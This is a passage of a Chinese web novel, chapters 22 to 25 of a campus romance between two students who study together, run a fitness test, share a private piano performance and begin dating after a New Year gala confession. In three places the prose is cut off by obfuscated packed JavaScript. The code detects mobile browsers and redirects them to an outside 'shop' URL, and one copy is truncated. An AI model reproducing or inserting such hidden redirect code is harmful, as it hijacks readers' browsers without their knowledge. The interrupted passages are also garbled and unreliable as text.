何舟泽见她蹲下后也变成了小小的一团,神情温柔,全然不是平时那副淡漠疏离的样子。 他也停了车蹲下来,摸了摸橘猫的身子:“你平时都随身带猫粮吗?” “嗯。”乔之小心地挤着猫条,注意力全在猫咪身上,“我加入了动物保护协会。学校里有一些猫比较弱小,自己抢不到吃食,我们平时会来照看一下。” 橘猫吃饱喝足后懒洋洋地躺下来,任由他们抚摸。 乔之难得地提起自己的事情:“我小时候一直很想要一只宠物,但家人没有精力帮忙养,所以我经常会在家附近喂流浪猫。” “我爷爷退休后也养了一只猫,是一只暹罗。”何舟泽掏出手机,在相册里翻了翻,递给乔之看。 照片里是一只神情倨傲的暹罗猫,灰蓝色的眼睛,面中有一小团黑色。 “好可爱。”乔之评价道,“暹罗会越来越黑,但你家这只好像还好。” 何舟泽又滑动了几下,翻出另一张照片,还是刚刚那只暹罗,不过脸已经黑了一半。 他笑说:“已经开始向煤球发展了,不知道寒假回去会变成什么样。” 橘猫见他们开始欣赏起别的猫咪,似乎有些不满,起身又钻回了草丛。 两人无奈地起身。 宿舍区已经不远,何舟泽一路将乔之送回寝室楼下。 乔之真诚道谢:“谢谢你请我吃饭,今天很开心。” 何舟泽看见她的眉宇间已不再像之前那般疏离,他道:“我也是。” 有机会再一起吃饭。他心想。 22. 第二十二章·大学line 开学后第一次微积分小测,乔之考得很好,差不多满分的成绩,在班级里名列前茅。 何舟泽见自己全是圈圈叉叉的试卷,痛心疾首道:“期中考有可能请你带带我吗?” 他这段时间忙着参加音乐社的活动,几乎没怎么认真学习。期中考试就在两周之后,考试成绩占总评百分之三十,他不想考得太难看。 还好这几个星期他常常和乔之在课后一起吃饭,关系已经熟络了起来,他有大腿可以抱。 乔之心想反正她也要复习,于是答应道:“那我把整理好的笔记发你一份?” 何舟泽闻言感动道:“太感谢了!如果……你能亲自给我讲讲就更好了。” 说完他又觉得有些得寸进尺,立马补了句:“我是说,你有时间的话。” 乔之“嗯”了声,没说答应,但也没拒绝。 转眼到了期中考试周,这段时间图书馆和自习教室处处爆满。 起初,乔之试着在寝室学习,结果正好碰上一位室友在和男朋友闹分手,每天都在寝室里鬼哭狼嚎。 其他几人帮着安慰也不见效,感情的事不足为外人道,大家干脆随她去了。 只是这样一来,寝室不再是个能学习的地方。乔之为此头疼着。 【H:今晚出来学习吗?有几个问题想请教你。】 何舟泽的微信来得非常及时。 【Jo:现在你还能找到自习教室?】 【H:我在北街的咖啡馆,桌子很大,欲购从速。】 乔之确实听说过考试周会有不少人在校外的咖啡馆复习。 图书馆和自习教室都只开到晚上十一点,想熬夜学习又不便待在宿舍的人便会去咖啡馆,点一两杯饮品就能坐一整晚——这个行为俗称“刷夜”。 乔之本考虑过这个选项,只不过学校附近提供刷夜的咖啡馆只有位于北街的几家,空间非常有限,她大概也很难找到位置。 所以见何舟泽这么说,她立刻屈服于宽大的自习场所。 【Jo:发个地址,我马上来。】 何舟泽发了咖啡馆的名字,并且贴心地提醒她进门右转。但乔之低估了咖啡馆的大小和火爆程度,走进去看着密密麻麻的人头,几乎所有人都在埋头苦学,她竟一时没找到何舟泽在哪。 【H:转头。】 何舟泽适时发来一条消息。 乔之顺着他的指示转过头,看见角落里有一个人捏着手机,斜靠在桌边对她笑着招手。 他的眉眼间染着一丝倦怠,但又写着另一种生动。 乔之朝着他的方向走过去。 何舟泽所在的地方是个四人座,桌子和沙发都很宽敞,角落的位置恰到好处。这会儿咖啡店里都是复习考试的学生,偶尔有人低声交流题目,总体氛围非常安静。 ——这绝对是个自习的好地方。 乔之压低了声音说:“你怎么找到这个位置的?” 她要取取经,方便以后的考试复习。 何舟泽没听清,身子不自觉地靠近了些,想让她再说一遍。 突然拉近的距离让乔之莫名有些紧张,何舟泽却是一副没注意的模样。 他顺手递过来一本菜单,乔之看见他的手背上有一颗小小的红痣。 咖啡店给每张桌子都配备了一盏小小的台灯,因此店里的顶灯并不那么亮。这会儿背景音里正放着一首低沉的纯音乐,竟无端地有些暧昧。 乔之垂下了眼眸,抿抿唇,改用气声故作镇定道:“我说,你怎么能找到这么好的位置?” 对方狡黠一笑,转过头来得意道:“我可是中午刚开门就过来了。” 背景音乐画下了休止符,切歌间隔的短暂一段秒钟让乔之醒过神。 她接过菜单,看似面无波澜,却在不经意间点了一杯与何舟泽同款的冰拿铁。 不过对方似乎并未注意到这个细节,揪着头发坐下直面来自微积分的恶意。 今天之前,何舟泽已经对着乔之整理的笔记复习过一轮了,眼下两人都是来刷历年考卷的。 何舟泽对一些定理的理解不够到位,每次碰上证明题就会一头雾水。 乔之找了几份历年卷的例题,圈出重难点说道:“最后两道证明题基本都是在考察积分中值定理,你看一下这几道题的解析。” 乔之讲题的时候,神情总是很专注。她随手写下几个公式,一道晦涩的数学题便能迎刃而解。 何舟泽的目光顺着她的笔迹和她的指尖,那些困住他的迷雾都如数消散。 他想,要是他们每一节课都在一起上就好了。那他说不定会爱上学习,从此走上学术道路。 乔之在草稿纸上圈圈画画,压低声音点了几个细节。何舟泽一边听她讲解,一边点着头跟上思路。 他注意到咖啡店的背景音乐换成了一首钢琴曲。他听出来是《海上钢琴师》里的配乐,叫《playing love》。 流动的音符在空气里弹跳着。 何舟泽想,他第一次在树荫下见到乔之时,那天在暴雨中看见她在伞下投来的眼神时,他的心情或许和1900*初见窗外的女孩时没有差别。 “你把这几题看懂,这个知识点就差不多了。”乔之推过来几张纸,又低头开始看自己的复习资料。 何舟泽的基础不差,乔之指点一二便能弄懂个七七八八,因此大多时候两人都是各学各的。 时间过了凌晨两点,乔之差不多已经复习完毕。 她有些困乏,捂嘴悄悄打了个哈欠。 “你困了吗?”何舟泽递过来一张草稿纸,上面写着几个龙飞凤舞的字。 乔之揉了揉眼睛,对着他点点头。 何舟泽指了指门口的方向,做了个口型:“走?” 说完两人便默契地开始收拾书包。 何舟泽其实还没复习完,但这一晚他的复习效率出奇得高,剩下一两个小知识点等白天再看也完全来得及。 他等乔之起身,跟着她走出了咖啡店。 “复习得怎么样?”走出了安静的自习环境,何舟泽终于有机会开头说话。 他一天都没怎么开口,这会儿声音有些沙哑。 夜晚气温低,空气都凝着湿哒哒的水汽。一阵凉风吹过来,乔之竟被吹得有些清醒了。 她回答道:“差不多复习好了。你呢?” 何舟泽道:“托你的福,我也差不多了。谢谢乔老师指点。” 乔之微微扬起唇角:“那祝我们后天都考试顺利。” 两人一边随意地聊着,一边往宿舍区的方向走。 咖啡店离宿舍区很近,进了面朝北街的小门就能看见宿舍区的牌子。 他们理工科的寝室楼扎堆,七八栋楼围着中间一片迷你小树林成一个圈。何舟泽住的楼就在乔之的寝室楼隔壁,中间隔着个花坛。 何舟泽顺路送乔之回去,不成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445162|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这会儿寝室楼下还有不少情侣在依依惜别。 ——这是女寝楼下的经典景观。 他之前送过乔之几次,两人从起初的尴尬到现在已经可以目不斜视。 不过今天似乎又有些不同。 何舟泽远远看见有一对情侣在树荫下接吻。女生坐在一辆黑色的电瓶车上,身体微微靠着男生,两人亲得难舍难分。 恋爱自由,这没什么问题——如果他们坐的那辆不是他的车的话。 他忍不住低骂了一句。 乔之在一旁不明所以。 何舟泽像是突然想到了什么,忽然靠近了一点,低头小声说道:“待会儿我数‘三二一’,你跟着我跑。” 乔之还没领会到他的意思,就见何舟泽一边数着数,一边从口袋里找出车钥匙,对着某个方向按下了开锁键。 “滴滴——滴滴——” 那对情侣显然吓了一跳,女生赶忙从车上跳了下来,两人四处张望着,正要走出树荫。 “快跟我走。”何舟泽抓起乔之的手就往另一侧的小树林跑。 这片小树林很小,甚至称不上是树林,只不过是多种了几棵树围了一个圆。 直到两人跑进去,彻底隐匿身形,何舟泽才停了下来。 他喘了口气,耸耸肩道:“怎么能在别人车上做这种事呢!一点也不考虑当事人感受。” 乔之这才意识到刚刚发生了什么。 “明明我才是车主,为什么跑的人是我!” 她忍不住笑了,也就何舟泽能想出这一招。 回过神来,她才发现他一直抓着她的手腕。 乔之不动声色地转了转。 何舟泽这会儿才注意到自己手心处的微凉触感,他不好意思地松开手,有些心虚地说:“……不过也挺好玩的。” “他们可能再也不敢在这儿接吻了。”乔之笑道,装作什么都没发生。 两人一时之间都沉默了下来,一向擅长找话题的何舟泽竟也没有开口。 他们站在昏暗的小树林中,外面的路灯透过层层叠叠的树丛穿进来,微微照亮了里面的蜿蜒小路。 乔之看向何舟泽,隐约能看见他的脸上带着有些局促的神情,与平日里云淡风轻的模样全然不同。 她的心跳也有些快。 她想,可能是刚刚跟着跑了步的缘故。 “我们……什么时候出去?”何舟泽的喉结轻滚,声音又变得沙哑生涩。 乔之不敢再看他,低头直盯着鞋尖看:“……不知道。他们走了吗?” “那我……去看一眼。” 何舟泽往外走了两步,稍微探了探头,眼见着刚刚的位置已经空了。 他对乔之说道:“……走了。我们也走吧。” 声音里有一点难以察觉的失落。 这一次,两人皆是沉默。 何舟泽送乔之到宿舍楼下,角落里还有三两对情侣。 他突然觉得有些碍眼。 “那么,晚安。”何舟泽跟乔之道别,心里莫名生出了一丝不舍。 乔之看上去神色自若,只是点了点头道:“嗯。你也早点休息。” 说完便要走进寝室楼。 何舟泽在背后突然出声叫住了她:“等一下。” 乔之疑惑地转过头,见男生犹豫了片刻,随后又像是鼓起了勇气开口道:“明天要不要再一起复习?我还有几个地方不太明白。” 23. 第二十三章·大学line 转眼,学期过了大半。天气渐渐转冷,落叶像雨,密密麻麻地落满了校园道路,本学期的体测也接近尾声。 “你还有别的项目吗?”室友站在何舟泽的一侧,斜靠在栏杆上问道。 何舟泽正蹲在地上绑鞋带,没抬头回道:“就剩一千米了。” 临近录成绩的截止日期,今天又是难得大晴天,这会儿来参加体测的学生格外多。 操场西北角的空地上站着几排人,跟着最前面的领队在做准备活动。这些人待会儿都要进行长跑项目,男生一千米,女生八百。 何舟泽站起身,抬脚甩了甩鞋子,确保鞋带已经系紧。 他拍了拍室友的肩膀,说道:“走吧,去热身了。” 室友盖上水杯,往墙角的位置一放,正准备往人群方向走,突然看见操场入口处走来一个人。 他凑近顶了顶何舟泽的手臂,挤眉弄眼道:“这是你那位课友吗?” 这段时间何舟泽总是找乔之吃饭、自习,室友已经有意无意撞见了许多次。尽管何舟泽没明说,但他们寝室多多少少都知道他暗藏的小心思。 何舟泽顺着室友的目光看去,见乔之正往长跑起点的这个方向来。 她穿着一身灰色运动装,显然也是来体测的。 室友不怀好意地笑着,在一旁凑热闹,准备现场吃瓜。 何舟泽推开他:“你先去热身,我等会儿来。” 室友调笑着敬了个礼:“好的,没问题!” 何舟泽将他打发走,而后径直朝乔之走去。 “好巧,你也来体测?” 乔之抬眼,看见何舟泽站在她面前。他单手拎着件灰色的外套,随意搭在肩膀上。 “嗯,下周就要截止了。” “你要测什么项目?八百?”何舟泽走到乔之身侧,转身陪她往前走。 乔之叹了口气,难得带了一点情绪道:“是啊。” 她的体育一般,尤其不擅长跑步。外婆作为退役的长跑运动员,在这件事上一直很嫌弃她。母亲的体育细胞也不差,她们家似乎只有她在长跑中格外挣扎。 乔之记得体育中考前,外婆因为她拉垮的长跑成绩好几次连连叹气。 初春时节,天气回暖,阳台上的植物又燃起了生命的气息。 精瘦的老太太靠在摇椅上晒太阳,听说她的测试成绩后直摇头:“也不知道是像谁,跑步这么慢。” 不像母亲,也没有遗传到外婆的运动天赋,她还能像谁?这个答案不言而喻。只不过在她们家,这个人物是个禁忌,谁都不曾提起。 乔之从未听闻过有关生父的丝毫消息,甚至不知道他姓甚名谁。 没有继承乔家优良长跑基因的她,直到大学了还在为八百米头疼。 何舟泽见她愁眉苦脸的样子,笑道:“我等会儿也要跑一千米,有点紧张。” 乔之侧头看了看何舟泽满脸轻松自得,完全没瞧出他所谓的紧张,知道他只是在安慰自己。 两人很快走到了热身的区域,男女生分成了两个队列,正在做体转运动。他们悄悄加入准备的队伍。 分别前,何舟泽给乔之打气:“加油乔乔!待会儿你也要记得为我加油。” 男生比女生先跑,乔之和其他准备参加测试的女生们站在跑道旁候场。 男生的一千米从操场另一处起跑,何舟泽在队伍里一路遥遥领先。他穿着运动短裤,露在外面的小腿在太阳下白到发光。 人来人往的操场上,他是最吸引人目光的存在。 没多会儿,何舟泽就率先完成半圈,路过了终点线。 乔之听到身后有人在窃窃私语。 “那个跑最前面的男生好帅。” “大一生物医药工程系的学弟,上了好几次论坛热帖了。” “哦哦哦,是不是叫何……何舟泽来着?” “对,是这个名字。” “你说待会儿我去要微信能成功吗?” “很难说。我朋友之前想加他微信,结果人家高冷得很,根本没通过。” …… 尽管江大每年都有好几千新生,但何舟泽的身材和脸蛋注定了他在校园里不可能默默无闻。这几个月在校园论坛上捞他的帖子层出不穷,有几条带照片的还上了十大热帖。 等男生组都完成了一圈半,为了提高效率,裁判开始招呼着女生往终点线处集合:“跑八百的女生来这边根据地上的线排成一排。” 乔之深呼吸,长吐一口气,找了个中间的位置。 及格就好。她在心里默默鼓励自己。 “预备——跑!” 指令声响起,人群蜂拥而出。 乔之紧赶慢赶插在了队伍中间,保持在中游至少可以及格。 然而,她很快就发现自己低估了江大女生的平均体育水平。 乔之跑了大半圈就觉得有些喘不上气,双腿像灌了铅一般沉重,身边不断有人超越她。 日头猛烈,烤炙着大地,空气都扭曲出了线条。 乔之有些睁不开眼,她的脑子一片空白,只能感受到心脏在胸腔里沉重地跳动。 “乔乔,你还好吗?”正在跑最后一圈的何舟泽赶上了乔之。 他看见乔之的脸微微发红,额角布满了细密的汗珠,嘴唇有些发白,整个人像是已经脱力。 乔之没力气转头,只腾出了一只手摆了摆。 何舟泽只差最后半圈就能到终点,这会儿却放慢了脚步,跟着乔之身边小步前进。 他鼓励道:“调整呼吸,再坚持一下。” 乔之想跟他说自己没事,不用陪跑,但奈何实在是累得说不出话,只能硬着头皮继续迈开步子向前。 何舟泽在耳边说着些什么,其实她一点都听不清。 等看见终点线时,何舟泽只剩最后五十米,但乔之还有一圈。 何舟泽作为男生组一开始遥遥领先的领跑,最后半圈突然落在了后头,还陪在一个女生边上,实在很扎眼。尤其是他看上去明明还很游刃有余。 不远处的体育老师大喊道:“那个男生,最后五十米!快点冲过来!” “乔乔,我先过去。等会儿再来陪你。”何舟泽丢下一句话,脚底生风般冲过终点。 “明明能跑个满分,你中途怎么回事?”体育老师有些不满道。 何舟泽“嘿嘿一笑”,摸着脑袋没说话,他见乔之也快到终点了,想赶快去陪她。 体育老师顺着他的目光看去,只见一个纤瘦的女生正往这边来,顿时了然。 他拍了把何舟泽的背,笑道:“原来是陪女朋友。” 何舟泽没多做解释,满眼都是往终点跑来的乔之。 他小步往她的方向跑去。 “我又回来啦!”他的语调平缓稳定,几乎不带喘气,全然不像是刚跑过一千米。 乔之已经完全感觉不到自己的双腿存在,整个人都像是灵魂腾空了一般。 最初的半圈她跟着队伍其他人跑得太快,完全打乱了自己的节奏,这时几近力竭。她只能机械地抬腿,迈出,再抬腿,迈出…… 好想停下来走路,下次再补考吧——这样的念头不止一次出现,她在长跑这件事上本就不坚定的意志力开始摇摇欲坠。 乔之的步伐越发慢下来了,渐渐落在了女生队伍最后的梯队。 “乔乔加油。再坚持一下!”何舟泽跟在身边不断鼓励道。 乔之莫名又多了点力气。 她想,她大概还能再坚持一会儿。 时间一分一秒过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好咯,我们已经到座椅附近了。乔乔,可以睁眼了。”何舟泽换了个姿势扶着乔之坐下。 乔之睁眼,果然看见何舟泽高高扬起了嘴角。 她听见他说:“等我一会儿,我去给你买水。” 心还在狂跳。 乔之已经分不清这是真实还是假想。 等何舟泽去而复返,他买了瓶矿泉水,顺手拧开瓶盖递给她。 他们手指接触的瞬间,乔之似乎再次感知到了自己内心深处那份不同寻常的悸动。 “谢谢。”她默声接过水,强装镇定。 不远处的跑道起点再次集结了一组女生等待着新一轮的测试。大家表情各异,有一脸轻松的,也有人浑身绷直,紧张无比。 何舟泽错过了乔之的起跑,他突然很好奇她会是什么表情——是强作冷静,还是克制不住紧张。 何舟泽笑了声,转头看了眼乔之,对方正在小口小口啜着矿泉水。 “乔乔,你下周末有空吗?” “?”乔之转过头,疑惑地等待下文。 何舟泽说:“我有一场秘密演出,想邀请你来。” 他加入音乐社已经快一学期,跟着社团在每周例行的草坪音乐节上表演过好几次。他邀请过乔之许多次,但她似乎不太喜欢参加这种闹腾的活动,从未来过。 见乔之没说话,何舟泽立马补充道:“这次不是公开表演,赏个脸吧乔乔。” 他的双手合十,摆出一副可怜的神情,像一只等待被领养的狗狗。 乔之无奈笑道:“好吧,时间地点告诉我,我一定准时到。” “不用。”何舟泽语调一转,眨眨眼道,“我来接你。” 24. 第二十四章·大学line “311、313、315……”乔之抬头数着小剧场音乐教室的门牌号,金底黑字的门牌有不同程度的褪色。 “317。”她停下了脚步。 ——这是何舟泽的琴房。 原来说好了他来接她,但乔之临时被小组讨论拖住了,最后还是独自前来。 她至今不清楚何舟泽说的“神秘演出”是什么,但看场地的确不像是公开表演。 乔之想抬手敲门,却听见一阵琴声从未合紧的门缝间传了出来。 很耳熟的旋律,好像是北街那家咖啡馆常放的一首钢琴曲。 乔之轻轻推开门,看见何舟泽正坐在钢琴前。 酒红色的丝绒窗帘打开着,阳光穿过窗户溜进琴房,照亮了何舟泽半边身子,勾勒出他线条分明的侧脸。他的轮廓外缘在闪着光。 何舟泽低垂着眉眼,手指在琴键上跳动着,睫毛也是一颤一颤的,盛满了太阳。 乔之从未见过何舟泽这副模样,沉静如海,深入其间。平时的他是时刻等待碰撞的能量原子,此刻却像极了一尊活过来的古希腊雕塑。 她抬手敲了敲门。 琴声戛然而止。何舟泽转过来头,看见站在门边的乔之。 她今天穿着白色的长裙,套了件天蓝色的大衣,正适合南方冬天的晴日。 “你来了!”何舟泽站起身,欣喜地招手,顺便从墙边拉来一把椅子道,“坐这边。” 乔之环视一圈空荡的琴房,显然她是今天唯一的嘉宾。 她问:“你的神秘演出是只对我开放吗?” 何舟泽没有丝毫羞赧道:“是呀。” 说着,他的手指在钢琴上随意拨了几个键,每一个音节都打在乔之心头上。 何舟泽转过来看乔之,神情郑重道:“乔乔,你可是我唯一的观众。” 乔之在何舟泽的眼睛里看见了自己。 气氛太暧昧,她一时局促着不知道该说些什么,生怕下一秒就听到对方表露心意。 何舟泽瞧出她的紧张,笑了声。他斜靠在钢琴上,表情看起来有些遗憾:“我没报上今年跨年晚会的节目,音乐社的名额要给即将毕业的学长。” 话音未落,他脸上又挂上颇有自信的神情说:“这是我第一次完整创作一首歌曲,不能表演实在是太遗憾了,所以请你来听一听。” 乔之在心里松了口气,坐下等待演出开始。 何舟泽写了一首抒情歌,曲调平缓沉寂,词曲里有压抑着的忧伤。 他的歌声在讲述着不期的离别和成长的阵痛,有一位很重要的人曾来过他的生命,最终又不得不离他远去。 他唱:“倾塌的绿洲,没有预兆,所以说命运深奥。我终于长大,道别却在下一秒。” 何舟泽的嗓音很好听,带着故事感的音色带乔之进入了他的内心世界。 她忍不住感动。 尾音落下,余音回荡在琴房里。 一时之间没有人开口说话。 半晌,何舟泽自我调侃道:“好像确实不太适合跨年晚会。” 他换上轻松的语气,尽管眼睛没有笑。 或许这首歌并不适合跨年晚会这样热闹的场合,但她相信没有人能不为之动容。 乔之轻轻地鼓掌,说道:“很好听,很棒的作品。” 她踌躇着开口:“这首歌……是写给什么人的吗?” “嗯,是写给我爷爷的。几个月前,他去世了。” 乔之微怔,道:“……抱歉。” 何舟泽摇摇头:“没关系。他要是知道我现在可以自己写歌了,一定很高兴。” 何舟泽低头看着黑白琴键,不知在想些什么。 他伸出手,手指在几节黑键上游走了一番,忽然道:“我爷爷是我的音乐启蒙老师。他年轻时待过文工团,精通很多乐器。小时候,我爸妈工作忙,经常把我丢在爷爷家,满屋子的乐器都是我童年的玩具。” 乔之知道何舟泽的音乐素养深厚,这么听来,是从小开始学的也不奇怪。 他轻笑了一声,道:“你知道吗?其实我爸妈一直反对我学音乐,我现在甚至连参加了音乐社都不太敢告诉他们。爷爷是唯一支持我的人,从小他就替我瞒着爸妈,送我去少年宫学钢琴、学声乐。” “高中时,我想系统学音乐,走艺考道路,但毫不意外地被我爸妈否决了。爷爷偷偷给我塞钱,托人介绍专业老师,鼓励我报考音乐学院。” “可是,最后关头我还是退缩了。我听从爸妈的安排,参加了高考,大学选了工科专业。我骗他,音乐只是我的爱好,不是我的心之所向。” 何舟泽顿了一顿,看向乔之的眼睛里布上了一层迷雾:“他这么精明的一个小老头,怎么可能看不出我在说谎。只是直到最后,我都没能在他面前诚实面对自己的内心。” “乔乔,我一直很后悔,后悔自己的不坦诚,后悔自己的不勇敢。” 说到最后,他的声音有一些颤抖。 “何舟泽,只有你愿意,就还有重新做选择的机会。”乔之想到他刚刚弹唱的歌曲和他身上掩盖不住的光芒,笃信道,“其实你从来都没有放弃。” 她握紧了拳头,语气轻柔又肯定:“你一定会成为一名出色的音乐人。” 面前的少年眼中闪过一丝惊讶,转而又盛满了欣喜。 何舟泽决定开始去相信这件事。 - 跨年狂欢夜是江大一年中最重要的活动之一,晚会办得格外盛大。 今年的舞台一如既往地搭建在操场上,宽大豪华。 还没到正式演出的时间,台下早有不少学生提前来占座。 乔之和何舟泽到现场时,已经不剩什么好位置。正准备在角落凑合着看,刚巧碰上何舟泽的朋友临时有急事离开,两人最后捡了个漏。 那个朋友临走前捶了下何舟泽的肩膀,心痛道:“一早就来占座了,这会儿倒是便宜了你小子。” 何舟泽笑着搭他的肩膀,说着下次请吃饭。 等乔之坐下后,才发现自己在相当中间的位置,前后离舞台不远不近。 难怪刚刚那个男生走前那么痛心疾首,这的确是绝佳观礼席。 天色逐渐暗下来,几位身着华丽礼服的主持人走上舞台,热情洋溢地念着开场白。 今年的舞美、节目编排都很有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445164|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水准,台下的观众连连叫好。 晚会接近尾声,时间逼近零点。 何舟泽突然侧头小声提示道:“接下来这个节目会很精彩。” 乔之翻出节目单看了一眼,是一个独唱节目,演出者是今年校园十佳歌手大赛的冠军。 零点会有校领导的新年讲话,而后就剩一个集体合唱。因此,在此之前的最后一个个人节目无疑是非常特殊的,几乎每年都会排给校园十佳的冠军选手作为额外的嘉奖。 乔之不认识演唱者也知道这会是个很有水准的表演。 果然,不出她所料,舞台上的男生刚开口就惊艳四座。随着歌曲的进行,台下不断响起欢呼声和掌声。 这首很有力量的歌曲完全点燃了现场的氛围,乔之耳边不断有人在高喊演唱者的名字。 随着最后一个音符落下,台下的声浪达到了顶峰。 乔之跟着人群卖力地鼓掌。 然而接下来发生的事更加出人意料。 刚刚结束演唱的男生微微喘着气,却没马上下台。 乔之能在大屏幕里看到他轻轻吐了一口气,抬眼正视台下的观众席,神情看上去像是做了个重大决定。 “大家好,我叫邵明喻。”操场上再次响起男生的声音,“我今年大四,一共参加了四次十佳歌手比赛。我终于在今年拿到了冠军,得到了跨年演出的机会。” 众人不明事由,渐渐安静下来。 男生双手抓紧了话筒,继续说道:“我之所以一直想来到这个台上,是因为我想在全校面前说一句,‘温言,我喜欢你!从大一开始,就一直喜欢你!’” 话音未落,观众席瞬间爆发出阵阵尖叫声,声浪之高,甚至远盖过刚刚演出之时的叫好。 所有人都站了起来,疯狂舞动着手中的荧光棒。 观众呼号着。 “勇士!” “牛!!” “吾辈楷模!” 乔之也震惊了。 在跨年舞台上、在全校师生面前表白,这不是一般人能做出来的事。 当事人郑重地鞠了个躬,飞速走下舞台,留下现场沸腾的观众。 早该上台的主持人这会儿匆匆上来,神情略显慌张,显然也是没料到有这一环节。 然而,无论他们在台上说什么,台下的观众始终像是煮开的沸水,完全无法平息。 不知什么人起了个头,大声喊了句:“xx,我喜欢你!” 表白声开始在操场上此起彼伏。 青春疯狂,大抵也是如此了。 现场灯光摇曳,耳边的嘈杂声浪阵阵,她向来平静的心跟着雀跃,乔之一时有些迷失的错觉。 她感觉自己好像误入了什么青春片现场,身上每个细胞都异常活跃了起来。 喧闹声中,何舟泽忽然俯身,低头附在乔之耳侧。 新年的第一秒钟,他对乔之说:“乔乔,我喜欢你,做我的女朋友吧。” 乔之看见何舟泽的眼中映出了彩色的荧光,跟着跳跃的人群一闪一闪。灯光昏暗,他看起来却比平日里还要闪耀。 这世界大概是疯了。 她想。 25. 第二十五章·大学line 新年第一天,乔之被自己的电话铃声叫醒。 她接通电话,听见一个熟悉的声音在那头说:“早安,乔乔。” 乔之还有些昏沉,她按了按额角,半晌才想起来昨晚的事—— 何舟泽和她表白了,他们还约了今天一起吃早饭。 乔之现在回忆那时的情景,还觉得像是在做梦。 当时台下到处是大声的告白和尖叫声,何舟泽的声音偏偏穿过了所有嘈杂,清晰地传入她的耳中。 他问她,能不能做他的女朋友。 他的神情既紧张又兴奋,看向她的眼睛里全是期待。 乔之什么都没说,但是她轻轻抓住了他的手——这就是她的答案。 下一秒,何舟泽紧紧地回握住她。 她的手被他包裹在掌心,那么近,她甚至能感受到他的脉动和她的心跳一样强烈。 乔之的声音有些沙哑,她攥紧电话回道:“……早。稍等一下,我马上来。” 隔着电话都能听出何舟泽的心情很好,他的语调飞扬:“没关系,慢慢来,我在楼下等你。” 乔之简单洗漱后,飞快下了楼。 推开寝室楼的大门,日光照进她的双眸。她看见何舟泽正靠坐在他那辆黑色电瓶车上,就像其他那些来接女朋友的男生一样——他在等她。 看见乔之的一瞬间,何舟泽的脸上就挂上了笑容,比平日里的还要灿烂,比新年第一天的太阳还要明亮。 他抬手,笑着招呼:“早上好,女朋友。” 最后三个字说得清晰又坚定。 乔之微微有些羞赧,不知道该如何回复。 何舟泽替她理了理碎发,无比自然地为她戴上头盔。他看出乔之的害羞,却仍不肯消停地说:“你昨天牵了我的手,就是答应做我女朋友了,你可不能反悔。” 说罢,他又狡黠一笑:“反悔也没用,我已经当真啦。” 乔之坐在后座,微微侧了侧头,小声回答道:“没有反悔。” 何舟泽听她这么说,嘴角的弧度高高扬起。 他抓住乔之的手,将其按在自己的腰间,说道:“那乔乔要抱紧你的男朋友,我们准备出发了!” 乔之生涩地环住他,轻轻地靠在他的身上。 她将头埋在何舟泽的肩膀,闷声道:“好。” 何舟泽很享受自己的新身份,只可惜宿舍区离食堂太近,他还没好好体会就已经到了。 早知如此,他应该骑慢一点。 何舟泽在心里后悔不已。 昨天是跨年狂欢夜,新年第一天来吃早饭的人寥寥无几,绝大多数人还在补觉。 食堂干净明亮,往常排长队的区域显得空荡荡。 何舟泽自然地牵住乔之的手往打餐处走去。乔之的掌心微微发烫。 两人随意选了几样,何舟泽端着餐盘正准备找个位置坐下,却见有人在朝他们俩挥手走过来。 来者之一戴着副黑框眼镜,虽然穿着打扮与昨夜很不同,但乔之还是认出了这正是那位干了惊心动魄大事的学长。 邵明喻这会儿正牵着个长发女生,脸上春风得意。 看起来昨夜的表白成功了。 何舟泽也瞧见了他身侧的女生,调侃道:“学长昨天真是一鸣惊人,祝二位久久。” “你别提了。”那位叫“温言”的学姐显然也认识何舟泽,她嗔怪道,“这下连我都出名了。” 邵明喻不好意思地挠挠头,说道:“这不是不想毕业留遗憾嘛。” 看起来全然不像是能在全校面前表白的性格。 温言轻瞪了他一眼,不过倒并不是真的生气,两人更像是打情骂俏。 两人这时注意到何舟泽身边的乔之,邵明喻疑惑道:“诶……?女朋友?” 乔之还没完全适应这个身份,一时不好意思说什么,只是微微颔首。 何舟泽得意地挑挑眉:“嗯哼。” 邵明喻惊讶极了,问:“你什么时候脱单的?” 何舟泽笑说:“这不是托学长的福吗?” 温言松开了邵明喻的手,跟着乔之打招呼:“学妹好,我是温言,新闻系大四。” 说完她又拍了拍身边的男生道:“这个傻子叫邵明喻,也是大四,计算机系。不过你昨天应该就认识他了。” 温言说话的时候眉眼弯弯,极具亲和力。 乔之点点头,说道:“学长学姐好,我叫乔之,海洋科学专业大一。” 温言听到乔之的专业,顿时来了兴趣:“哇,我还没认识过这个专业的。” 说着,她推了邵明喻一把,道:“你快去买早饭,我要吃拌面。你们别傻站着了,先坐下吃饭。” 何舟泽想象中在一起后的第一顿饭应当是甜蜜二人世界,但因为邵明喻和温言的加入,最终变成了四人局。 温言似乎对海洋很感兴趣,期间不停地找乔之说话,导致何舟泽都没插上几句。 一行人吃完早饭,在食堂门口分别。 